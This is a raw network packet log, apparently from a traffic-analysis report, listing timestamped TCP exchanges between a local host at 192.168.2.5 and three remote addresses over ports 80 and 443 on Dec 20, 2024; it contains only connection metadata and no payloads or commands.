Dec 20, 2024 16:08:11.926332951 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.926811934 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.926871061 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.927254915 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.927318096 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.927818060 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.927871943 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.928417921 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.928471088 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.928941011 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.928957939 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.928992987 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.929001093 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.930179119 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.930236101 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.930675983 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.930879116 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.931229115 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.931247950 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.931283951 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.931302071 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.932507038 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.932563066 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.932991982 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.933046103 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.933512926 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.933531046 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.933562040 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.933573008 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.934708118 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.934730053 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.934760094 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.934775114 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.935827971 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.935882092 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.936403990 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.936456919 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.936959028 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.936980009 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.937006950 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.937016964 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.938081980 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.938096046 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.938133001 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.938143969 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.939251900 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.939273119 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.939302921 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.939321041 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.944195032 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.944215059 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.944262981 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.944277048 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.945449114 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.945466995 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.945502043 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.945512056 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.949280024 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.949300051 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.949345112 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.949362993 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.954314947 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.954330921 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.954370022 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.954395056 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.956887007 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.956902027 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.956950903 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.956969976 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.959433079 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.959451914 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.959489107 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.959502935 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.964546919 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.964577913 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.964612961 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.964634895 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.967066050 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.967087984 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.967124939 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.967144966 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.969291925 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.969361067 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.970355034 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.970412016 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.973675013 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.973696947 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.973735094 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.973752022 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.976093054 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.976109028 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.976159096 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.978084087 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.978138924 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.979160070 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.979214907 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.982001066 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.982065916 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.983017921 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.983079910 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.985197067 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.985217094 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.985251904 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.985269070 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.987406015 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.987457991 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.987461090 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.987524033 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.990750074 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.990801096 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.991789103 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.991837978 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.993984938 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.994003057 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.994040012 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.994055033 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.996222019 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.996241093 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.996279001 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.996293068 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.998419046 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.998496056 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.999480963 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.999542952 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:12.001709938 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.001765966 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:12.002782106 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.002835989 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:12.005073071 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.005140066 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:12.005543947 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.005609989 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:12.008837938 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.008857012 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.008910894 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:12.011023998 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.011042118 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.011111021 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:12.013252020 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.013324022 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:12.014360905 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.014421940 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:12.015486956 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.015557051 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:12.016532898 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.016619921 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:12.019823074 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.019840002 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.019903898 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:12.022047997 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:12.022104025 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:13.346201897 CET	49957	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:13.346242905 CET	443	49957	172.67.197.170	192.168.2.5
Dec 20, 2024 16:08:13.346333027 CET	49957	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:13.347923994 CET	49957	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:13.347943068 CET	443	49957	172.67.197.170	192.168.2.5
Dec 20, 2024 16:08:14.201185942 CET	49942	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:14.201622009 CET	49958	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:14.321294069 CET	80	49958	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:14.321374893 CET	49958	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:14.321589947 CET	49958	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:14.322005033 CET	80	49942	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:14.322061062 CET	49942	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:14.441057920 CET	80	49958	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:14.566880941 CET	443	49957	172.67.197.170	192.168.2.5
Dec 20, 2024 16:08:14.567061901 CET	49957	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:14.569035053 CET	49957	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:14.569042921 CET	443	49957	172.67.197.170	192.168.2.5
Dec 20, 2024 16:08:14.569298029 CET	443	49957	172.67.197.170	192.168.2.5
Dec 20, 2024 16:08:14.622031927 CET	49957	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:14.654141903 CET	49957	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:14.654175997 CET	49957	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:14.654256105 CET	443	49957	172.67.197.170	192.168.2.5
Dec 20, 2024 16:08:15.621776104 CET	443	49957	172.67.197.170	192.168.2.5
Dec 20, 2024 16:08:15.621865988 CET	443	49957	172.67.197.170	192.168.2.5
Dec 20, 2024 16:08:15.622006893 CET	49957	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:15.624304056 CET	49957	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:15.624324083 CET	443	49957	172.67.197.170	192.168.2.5
Dec 20, 2024 16:08:15.624336004 CET	49957	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:15.624341965 CET	443	49957	172.67.197.170	192.168.2.5
Dec 20, 2024 16:08:15.639002085 CET	49964	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:15.639061928 CET	443	49964	172.67.197.170	192.168.2.5
Dec 20, 2024 16:08:15.639256954 CET	49964	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:15.640963078 CET	49964	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:15.640989065 CET	443	49964	172.67.197.170	192.168.2.5
Dec 20, 2024 16:08:15.670414925 CET	80	49958	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:15.670526028 CET	49958	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:15.673638105 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:15.673998117 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:15.793915987 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:15.794183969 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:15.794322014 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:15.794336081 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:15.794657946 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:15.914244890 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:16.857024908 CET	49964	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:08:17.140698910 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.140841007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.140960932 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.140974045 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.141007900 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.141035080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.141763926 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.141774893 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.141807079 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.141827106 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.142890930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.142903090 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.142951012 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.143882990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.143894911 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.143904924 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.143939972 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.143958092 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.261070967 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.261163950 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.261375904 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.261432886 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.265058994 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.265111923 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.333831072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.333889008 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.334125996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.334387064 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.336908102 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.336958885 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.337213039 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.337255955 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.345729113 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.345792055 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.345901966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.345946074 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.355288982 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.355359077 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.355449915 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.355492115 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.362260103 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.362323999 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.362556934 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.362606049 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.370481014 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.370572090 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.370691061 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.370740891 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.382415056 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.382431030 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.382530928 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.397540092 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.397561073 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.397648096 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.412786961 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.412892103 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.413687944 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.413738966 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.427845001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.427932024 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.428853989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.428865910 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.428904057 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.429832935 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.429877996 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.453517914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.453636885 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.453857899 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.526031971 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.526242018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.526272058 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.526355982 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.529835939 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.529901981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.530463934 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.530514956 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.537436962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.537507057 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.537831068 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.537879944 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.545105934 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.545212030 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.545387030 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.545439959 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.552911997 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.553008080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.553277016 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.553332090 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.558119059 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.558193922 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.558645010 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.558689117 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.563528061 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.563621044 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.563889980 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.563935995 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.568856955 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.568943977 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.568989992 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.569036961 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.578656912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.578672886 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.578793049 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.588835001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.588954926 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.589643955 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.589802980 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.597708941 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.597784996 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.598735094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.598786116 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.605794907 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.605808973 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.605874062 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.612920046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.613032103 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.613909006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.613962889 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.620445967 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.620506048 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.621448040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.621498108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.623626947 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.623697042 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.624475002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.624485970 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.624533892 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.625466108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.625494003 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.625518084 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.625545979 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.626497984 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.626508951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.626593113 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.627509117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.627541065 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.627552986 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.627556086 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.627582073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.628501892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.628514051 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.628550053 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.629523993 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.629542112 CET	80	49965	31.41.244.11	192.168.2.5
